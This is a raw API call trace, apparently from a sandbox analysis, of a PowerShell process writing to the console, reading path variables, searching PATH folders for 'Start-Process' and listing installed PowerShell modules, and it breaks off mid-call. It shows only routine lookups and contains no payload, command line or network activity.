[0204.296] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.296] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a5d5c*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a5d5c*, lpNumberOfCharsWritten=0x5a8e87c*=0x4d) returned 1 [0204.297] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.297] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.298] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.298] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.298] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.299] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.299] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.299] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.299] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.300] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.300] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.300] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.300] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.301] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.301] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a5e04*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a5e04*, lpNumberOfCharsWritten=0x5a8e87c*=0x2a) returned 1 [0204.301] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.301] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.302] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.302] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.302] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.302] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.304] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.304] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.304] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.304] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.305] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a5e68*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a5e68*, lpNumberOfCharsWritten=0x5a8e87c*=0x1) returned 1 [0204.305] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.305] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.305] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.306] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.306] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.306] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.307] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8e8e4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0204.307] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a8e800, nSize=0xf2 | out: lpBuffer="") returned 0xf1 [0204.307] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a8e7ec, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0204.308] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x5bd230 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0204.309] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a8e7f4, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0204.309] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0204.309] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0204.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e750) returned 1 [0204.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea14 | out: lpFileInformation=0x5a8ea14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0204.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e74c) returned 1 [0204.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0204.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0204.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e750) returned 1 [0204.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea14 | out: lpFileInformation=0x5a8ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0204.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e74c) returned 1 [0204.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea0c) returned 1 [0204.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0204.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0204.311] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Start-Process.*", lpFindFileData=0x5a8e7bc | out: lpFindFileData=0x5a8e7bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e764) returned 1 [0204.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9c4) returned 1 [0204.311] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0204.311] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0204.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e750) returned 1 [0204.311] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea14 | out: lpFileInformation=0x5a8ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0204.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e74c) returned 1 [0204.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea0c) returned 1 [0204.312] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0204.312] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0204.312] FindFirstFileW (in: lpFileName="C:\\Windows\\Start-Process.*", lpFindFileData=0x5a8e7bc | out: lpFindFileData=0x5a8e7bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e764) returned 1 [0204.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9c4) returned 1 [0204.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0204.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0204.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e750) returned 1 [0204.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea14 | out: lpFileInformation=0x5a8ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0204.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e74c) returned 1 [0204.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea0c) returned 1 [0204.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0204.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0204.313] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Start-Process.*", lpFindFileData=0x5a8e7bc | out: lpFindFileData=0x5a8e7bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e764) returned 1 [0204.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9c4) returned 1 [0204.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0204.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0204.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e750) returned 1 [0204.356] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea14 | out: lpFileInformation=0x5a8ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0204.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e74c) returned 1 [0204.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea0c) returned 1 [0204.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0204.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0204.357] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Start-Process.*", lpFindFileData=0x5a8e7bc | out: lpFindFileData=0x5a8e7bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e764) returned 1 [0204.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9c4) returned 1 [0204.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0204.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0204.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e750) returned 1 [0204.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client" (normalized: "c:\\program files (x86)\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea14 | out: lpFileInformation=0x5a8ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a4ed90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x7fc99110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fc99110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0204.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e74c) returned 1 [0204.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea0c) returned 1 [0204.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0204.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0204.358] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\Start-Process.*", lpFindFileData=0x5a8e7bc | out: lpFindFileData=0x5a8e7bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e764) returned 1 [0204.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9c4) returned 1 [0204.723] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a8e858, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0204.726] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0204.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0204.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0204.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.728] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.728] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0204.728] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0204.728] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.728] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.743] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0204.743] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0204.743] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0204.743] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0204.744] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0204.744] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0204.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0204.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0204.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.744] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0204.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0204.745] SetThreadErrorMode (dwNewMode=0x1, 